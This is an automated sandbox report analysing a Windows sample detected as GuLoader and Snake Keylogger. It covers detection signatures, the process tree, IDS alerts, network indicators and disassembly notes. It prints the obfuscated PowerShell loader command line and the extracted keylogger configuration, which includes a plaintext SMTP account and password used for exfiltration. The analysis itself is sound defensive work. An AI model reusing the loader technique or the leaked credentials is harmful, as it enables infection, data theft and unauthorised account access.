Edit tour

Windows Analysis Report
URGENTE Ref.exe

Overview

General Information

Sample name:	URGENTE Ref.exe
Analysis ID:	1633323
MD5:	723743eb9cb98f3e735f7a3503b32ae7
SHA1:	1415be8f7022b11fa0954a2cacec1f9c6433f76d
SHA256:	c2c0e9cc144248554a3b91e723cd1770dbaa2d6acdd00e9021f5587f080c9286
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Early bird code injection technique detected

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

URGENTE Ref.exe (PID: 3976 cmdline: "C:\Users\user\Desktop\URGENTE Ref.exe" MD5: 723743EB9CB98F3E735F7A3503B32AE7)

powershell.exe (PID: 996 cmdline: "powershell.exe" -windowstyle minimized "$Unsexual24=gc -Raw 'C:\Users\user\AppData\Roaming\fyldepenneblkkets\fremtoning\Theopneustic\Portentousness.Unm177';$Authorize=$Unsexual24.SubString(53440,3);.$Authorize($Unsexual24)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Undismembered.exe (PID: 7924 cmdline: "C:\Users\user\AppData\Local\Temp\Undismembered.exe" MD5: 723743EB9CB98F3E735F7A3503B32AE7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "pedidos@bsp.com.es", "Password": "81xINaSf", "Host": "mail.bsp.com.es", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.1618451140.000000000B086000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Undismembered.exe PID: 7924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Undismembered.exe PID: 7924	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 82.98.167.108, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\Undismembered.exe, Initiated: true, ProcessId: 7924, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 63196

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle minimized "$Unsexual24=gc -Raw 'C:\Users\user\AppData\Roaming\fyldepenneblkkets\fremtoning\Theopneustic\Portentousness.Unm177';$Authorize=$Unsexual24.SubString(53440,3);.$Authorize($Unsexual24)", CommandLine: "powershell.exe" -windowstyle minimized "$Unsexual24=gc -Raw 'C:\Users\user\AppData\Roaming\fyldepenneblkkets\fremtoning\Theopneustic\Portentousness.Unm177';$Authorize=$Unsexual24.SubString(53440,3);.$Authorize($Unsexual24)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\URGENTE Ref.exe", ParentImage: C:\Users\user\Desktop\URGENTE Ref.exe, ParentProcessId: 3976, ParentProcessName: URGENTE Ref.exe, ProcessCommandLine: "powershell.exe" -windowstyle minimized "$Unsexual24=gc -Raw 'C:\Users\user\AppData\Roaming\fyldepenneblkkets\fremtoning\Theopneustic\Portentousness.Unm177';$Authorize=$Unsexual24.SubString(53440,3);.$Authorize($Unsexual24)", ProcessId: 996, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Snake Keylogger Exfil via SMTP (VIP Recovery)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T08:38:05.897529+0100	2060048	1	Malware Command and Control Activity Detected	192.168.2.6	63196	82.98.167.108	587	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T08:39:13.606813+0100	2803305	3	Unknown Traffic	192.168.2.6	49702	104.21.32.1	443	TCP
2025-03-10T08:39:16.627388+0100	2803305	3	Unknown Traffic	192.168.2.6	49704	104.21.32.1	443	TCP
2025-03-10T08:39:19.653023+0100	2803305	3	Unknown Traffic	192.168.2.6	49706	104.21.32.1	443	TCP
2025-03-10T08:39:22.752130+0100	2803305	3	Unknown Traffic	192.168.2.6	49708	104.21.32.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T08:39:08.177900+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49700	132.226.8.169	80	TCP
2025-03-10T08:39:11.084381+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49700	132.226.8.169	80	TCP
2025-03-10T08:39:14.474735+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49703	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T08:38:59.903168+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49696	142.250.185.142	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T08:39:38.178663+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	63195	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000A.00000002.2495516741.0000000020581000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "pedidos@bsp.com.es", "Password": "81xINaSf", "Host": "mail.bsp.com.es", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: URGENTE Ref.exe	Virustotal: Detection: 33%			Perma Link
Source: URGENTE Ref.exe	ReversingLabs: Detection: 31%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_226E87A8 CryptUnprotectData,		10_2_226E87A8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_226E8EF1 CryptUnprotectData,		10_2_226E8EF1

Source: URGENTE Ref.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:49701 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.6:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.97:443 -> 192.168.2.6:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:63195 version: TLS 1.2

Source: URGENTE Ref.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_00406167 FindFirstFileA,FindClose,	0_2_00406167
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_00405705 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405705
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00406167 FindFirstFileA,FindClose,	10_2_00406167
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00405705 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	10_2_00405705
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00402688 FindFirstFileA,	10_2_00402688

Source: C:\Users\user\Desktop\URGENTE Ref.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 0015F45Dh	10_2_0015F2C0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 0015F45Dh	10_2_0015F4AC
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 0015FC19h	10_2_0015F974
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226C3308h	10_2_226C2EF0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226C2D41h	10_2_226C2A90
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CFBD9h	10_2_226CF930
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CD919h	10_2_226CD670
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226C3308h	10_2_226C3236
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CD4C1h	10_2_226CD218
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226C3308h	10_2_226C2EEA
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CDD71h	10_2_226CDAC8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CE621h	10_2_226CE378
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CE1C9h	10_2_226CDF20
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226C0D0Dh	10_2_226C0B30
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226C16F8h	10_2_226C0B30
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CEA79h	10_2_226CE7D0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_226C0040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CEED1h	10_2_226CEC28
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CF781h	10_2_226CF4D8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CF329h	10_2_226CF080
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226CD069h	10_2_226CCDC0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EC82Fh	10_2_226EC560
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E7EB5h	10_2_226E7B78
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EE81Fh	10_2_226EE550
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E9280h	10_2_226E8FB0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E3709h	10_2_226E3460
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E4D21h	10_2_226E4A78
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E7119h	10_2_226E6E70
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EF13Fh	10_2_226EEE70
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E02E9h	10_2_226E0040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EBF0Fh	10_2_226EBC40
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E1CF9h	10_2_226E1A50
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E9F1Fh	10_2_226E9C50
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E48C9h	10_2_226E4620
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E62D9h	10_2_226E6030
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EDEFFh	10_2_226EDC30
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E32B1h	10_2_226E3008
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EACCFh	10_2_226EAA00
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E6CC1h	10_2_226E6A18
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EA3AFh	10_2_226EA0E0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E0B99h	10_2_226E08F0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E7571h	10_2_226E72C8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EE38Fh	10_2_226EE0C0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EC39Fh	10_2_226EC0D0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E5179h	10_2_226E4ED0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E2151h	10_2_226E1EA8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E6733h	10_2_226E6488
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226ED14Fh	10_2_226ECE80
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E0741h	10_2_226E0498
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EB15Fh	10_2_226EAE90
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EA83Fh	10_2_226EA570
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E0FF1h	10_2_226E0D48
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E2A01h	10_2_226E2758
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E55D1h	10_2_226E5328
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E79C9h	10_2_226E7720
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EB5EFh	10_2_226EB320
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E25A9h	10_2_226E2300
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EF5CFh	10_2_226EF300
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226ED5DFh	10_2_226ED310
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EECAFh	10_2_226EE9E0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E18A1h	10_2_226E15F8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226ECCBFh	10_2_226EC9F0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E9A8Fh	10_2_226E97C0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E5E81h	10_2_226E5BD8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EDA6Fh	10_2_226ED7A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E1449h	10_2_226E11A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EBA7Fh	10_2_226EB7B0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E2E59h	10_2_226E2BB0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226E5A29h	10_2_226E5780
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 226EFA5Fh	10_2_226EF790
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E84E90h	10_2_22E84B98
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E847E8h	10_2_22E84478
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E842B7h	10_2_22E83FE8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8CAE0h	10_2_22E8C7E8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E89FD8h	10_2_22E89CE0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E822C7h	10_2_22E81FF8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E887F0h	10_2_22E884F8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E85CE8h	10_2_22E859F0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8F5E8h	10_2_22E8F2F0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E83997h	10_2_22E836C8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8B7C0h	10_2_22E8B4C8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E88CB8h	10_2_22E889C0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E819A7h	10_2_22E816D8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E874D0h	10_2_22E871D8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8E2C8h	10_2_22E8DFD0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E83078h	10_2_22E82DA8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8A4A0h	10_2_22E8A1A8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E87998h	10_2_22E876A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E81087h	10_2_22E80DB8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E861B0h	10_2_22E85EB8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8FAB0h	10_2_22E8F7B8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8CFA8h	10_2_22E8CCB0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E82757h	10_2_22E82488
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E89180h	10_2_22E88E88
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E86678h	10_2_22E86380
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E80767h	10_2_22E80498
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8E790h	10_2_22E8E498
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8BC88h	10_2_22E8B990
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E81E37h	10_2_22E81B68
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E87E60h	10_2_22E87B68
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E85358h	10_2_22E85060
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8EC59h	10_2_22E8E960
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8D470h	10_2_22E8D178
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8A968h	10_2_22E8A670
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E81517h	10_2_22E81248
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E86B40h	10_2_22E86848
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E802E7h	10_2_22E80040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8D938h	10_2_22E8D640
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E83E27h	10_2_22E83B58
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8C150h	10_2_22E8BE58
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E89648h	10_2_22E89350
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E80BF7h	10_2_22E80928
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E85820h	10_2_22E85528
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8F120h	10_2_22E8EE28
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8C618h	10_2_22E8C320
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E83507h	10_2_22E83238
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8AE30h	10_2_22E8AB38
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E88328h	10_2_22E88030
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8DE00h	10_2_22E8DB08
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E8B2F8h	10_2_22E8B000
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E82BE7h	10_2_22E82918
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E89B10h	10_2_22E89818
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 22E87008h	10_2_22E86D10
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_235DF1CA
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_235DF1BD
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_235DF1BF
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_235DF228
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 235E0800h	10_2_235E0508
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then jmp 235E0338h	10_2_235E0040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_23612A80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2060048 - Severity 1 - ET MALWARE Snake Keylogger Exfil via SMTP (VIP Recovery) : 192.168.2.6:63196 -> 82.98.167.108:587
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:63195 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.6:63196 -> 82.98.167.108:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
